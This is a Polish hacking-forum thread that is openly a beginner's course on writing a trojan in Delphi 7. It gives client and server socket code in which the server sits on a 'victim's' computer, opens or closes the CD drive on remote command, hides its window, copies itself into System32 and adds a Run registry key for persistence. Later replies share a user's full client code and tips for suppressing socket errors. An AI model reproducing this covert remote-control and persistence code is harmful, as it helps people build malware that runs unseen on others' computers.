Kurs Pisania Trojankow by Slayd

Status
Zamknięty.
S

slayd

Użytkownik
Dołączył
Luty 7, 2005
Posty
62
Kurs napisany na delphi 7

-->Zaczynam (Klient)
Zaczynamy od Klienta. Uruchamiamy Delphi
smile.gif
i wybieramy z menu File->New->Application. Teraz nazwiemy sobie aplikacje klikasz na forme (LPM- tylko raz) teraz w Object Inspector (po lewej stronie) Properites->Caption: np:klient (nazwa moze byc dowolna). Teraz wrzucamy na forme komponent internet->clientsocket. Serversocket bedzie nam potrzebny do server. Ustwiamy port do wybory (polecam wyskoki) klikamy raz na komponet, ktory jest na formie object Inspector i port wpisujemy port jak ma miec nasz trojan. Teraz wrzucamy na forme komponet edit Standart->Edit bedzie to nam potrzebne do wpisywania ip servera, Jeszcze wrzuc dawa buttony nazwij je sobie

np: Polacz i Rozlacz. Klikamy dwa razy na button Polacz i wpisujemy:

clientsocket1.Address:=edit1.text; // adres ip servera do ktorego bedziemy sie laczyc

clientsocket1.active:=true; // To nam bedzie potrzebne do laczenia z serverem


Pod buttonem Rozlacz wpisujemy:

clientsocket1.active:=false; // client ma sie rozlaczyc

Teraz przydalo by sie zrobic buttony pod ktorymi beda znajdowac sie funkcje np: Open Cd-Rom, Close Cd-Rom

clientsocket1.socket.SendText('cdopen'); // 'cdopen' jest to zmienna ktora klient wysyla do server

Pod buttonem CD Close wpisujemy:

clientsocket1.socket.SendText('cdclose');

Zebysmy wiedzieli czy klient jest podlaczony czy odlaczony. Klikamy na clientsocket w Object Inspector zakladka Events i klikasz dwa razy na pole: OnConnect teraz piszemy co ma klient zrobic jezeli jest podlaczony:


ShowMessage('Klient Polaczony z Serverem ') // Wyskoczy nam okienko powiadomieniem

i tak mozesz zrobic jeszcze z Onconnecting, Ondisconnect, Onerror.

Dobra klienta mamy zrobionego teraz przechodzimy do servera


--->Server

Tworzymy nowa aplikacje. Wstawiamy komponent serversocket, ustawiamy w nim port taki jaki wpisalismy do klienta teraz zeby server byl aktywny zaraz po wlaczeniu kompa active:true. Przechodzimy do zakladki Events klikami dwa razy na OnClientRead (tu beda zmienne cdopen i cdclose) i wstawiamy cos tak:


Przed begin wstawiamy

var - to piszesz
s:string; - to piszesz

begin

// pod Regin wstawiamy:

s:=serversocket1.Socket.Connections[0].ReceiveText;

if (s='cdopen') then // jezeli przyjdzie zmienna 'cdopen' to wtedy:
begin
mciSendString('Set cdaudio door open wait',nil,0,handle); // funkcja Ktora otwiera Cd-Rom.
end;

if (s='close') then // jezeli przyjdzie zmienna 'cdclose' to wtedy:
begin //
mciSendString('Set cdaudio door closed wait',nil,0,handle); // funkcja Ktora zamyka Cd-Rom.
end;


Teraz klikamy w puste pole Forma ( projektu ) i u gory jest cos takiego:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ScktComp, shellapi, mmsystem, registry; // musimy dodac shellapi, mmsystem i registry




Teraz zrobimy zeby server ukryl sie na komputerze ofiary. Klikamy na forme, i naciskamy CTRL+F12 Pojawi sie okienko: view unit, zaznaczamy project i ok. W kodzie

zrodlowym znajdziesz takie linijki:

begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
application.showmainform:=false;// tak jak widac
end.

i przed Appication.Run; wpisujemy

application.showmainform:=false; // server zostanie bedzie nie widoczny na pasku zadan tylko pod klawiszami ALT+CTRL+DEL


Teraz jeszcze zostalo zeby server uruchomil sie przy karzdym starcje windowsa. Do uses dodajemy: registry teraz klikamy na forme Object Inspector->EVENTS->OnCreate ( klikasz dwa razy w puste pole )

var
reg:tregistry;
begin

Reg:=TRegistry.Create;
try
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun',True);
reg.WriteString('SERVER','C:WINDOWSSystem32server.exe');
copyfile(pchar(paramstr(0)),pchar('C:WINDOWSSystem32server.exe'),true);
BorderIcons:= [biSystemMenu];
finally
end;
end;

I to chyba wszystko mam na dzieje ze po tym arcie powstanie duzo trojankow
B&S Group
Power By Slayd

EDIT 1 : NiuNio przeprasza za blad ;]
 
B

bobikrk

Użytkownik
Dołączył
Październik 24, 2004
Posty
145
hehe slayd sie namęczył
<
<
to ja sie zabieram za czytanie i próbuje złożyć jakiegoś trojanka :p :p
 
K

Kornik52

Były Moderator
Dołączył
Sierpień 12, 2004
Posty
848
Wszystko jest ale nie ma jednej rzeczy taki kurs to dla osób poczatkujacych ale mozna bylo by doadac do kursu jak wyslac text z serwera do klienta a nie tylko z klienta do serwera.
 
S

slayd

Użytkownik
Dołączył
Luty 7, 2005
Posty
62
Jak ktos jest kumaty to to rozkminia a ja napisalem tylko jak mozna w bardzo latwy sposób napisac bardzo latwego trojana.

Pozdro
 
G

Gandziorz

Użytkownik
Dołączył
Luty 5, 2005
Posty
114
Problem

Co prawda wszystko ładnie pisze ale, jak robie połącz wyskakuje połączony z serwerem,a jak klikna ok lub zamkne okienko to "Asynchronus socket error 10049"
A oto kod:
**************************************

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ScktComp, Buttons;

type
TForm1 = class(TForm)
ClientSocket1: TClientSocket;
Edit1: TEdit;
Button1: TButton;
Button2: TButton;
Button3: TButton;
Button4: TButton;
Label1: TLabel;
SpeedButton1: TSpeedButton;
Button5: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure SpeedButton1Click(Sender: TObject);
procedure Label1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
clientsocket1.Address:=edit1.text;
clientsocket1.active:=true;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
clientsocket1.active:=false;
end;

procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
ShowMessage('Klient Polaczony z Serverem ')
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
clientsocket1.socket.SendText('cdopen');
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
clientsocket1.socket.SendText('cdclose');
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
ShellExecute(Handle,'open','rundll32','user,disableoemlayer',nil,SW_SHOWNORMAL);
end;

procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
ShellExecute(Handle, 'open', 'http://www.portal.hwp.pl', nil, nil, SW_ShowMaximize);


end;

procedure TForm1.Label1Click(Sender: TObject);
begin

end;

procedure TForm1.FormCreate(Sender: TObject);
begin

end;

end.

********************************************
Gdzie popełniłem błąd
 
B

bobikrk

Użytkownik
Dołączył
Październik 24, 2004
Posty
145
a jak chcesz ukryć ten error to w komponencie ClientSocket i ServertSocket w zakładce OnError daj kod
Kod: 
ErrorCode := 0
 
E

e-x-e-q-t-o-r

Użytkownik
Dołączył
Luty 14, 2005
Posty
14
Ja mam takie małe pytanko związane z komponentem clientsocket i serversocket jak się je
umieszcza?? Bo jak ja dałem już po stworzeniu nowej aplikacji na zakładkę component później new component następnie wybrałem palette Page na internet to nie mogłem
z najść tych komponentów?? Albo ja coś źle robię albo moje Delphi 7 Professional (nie
zarejestrowane przez neta) nie posiada tych komponentów?? Chyba że jeszcze musze
zarejestrować piracką wersję Delphi przez neta i może w tedy to zadziała??
 
Status
Zamknięty.
Do góry Bottom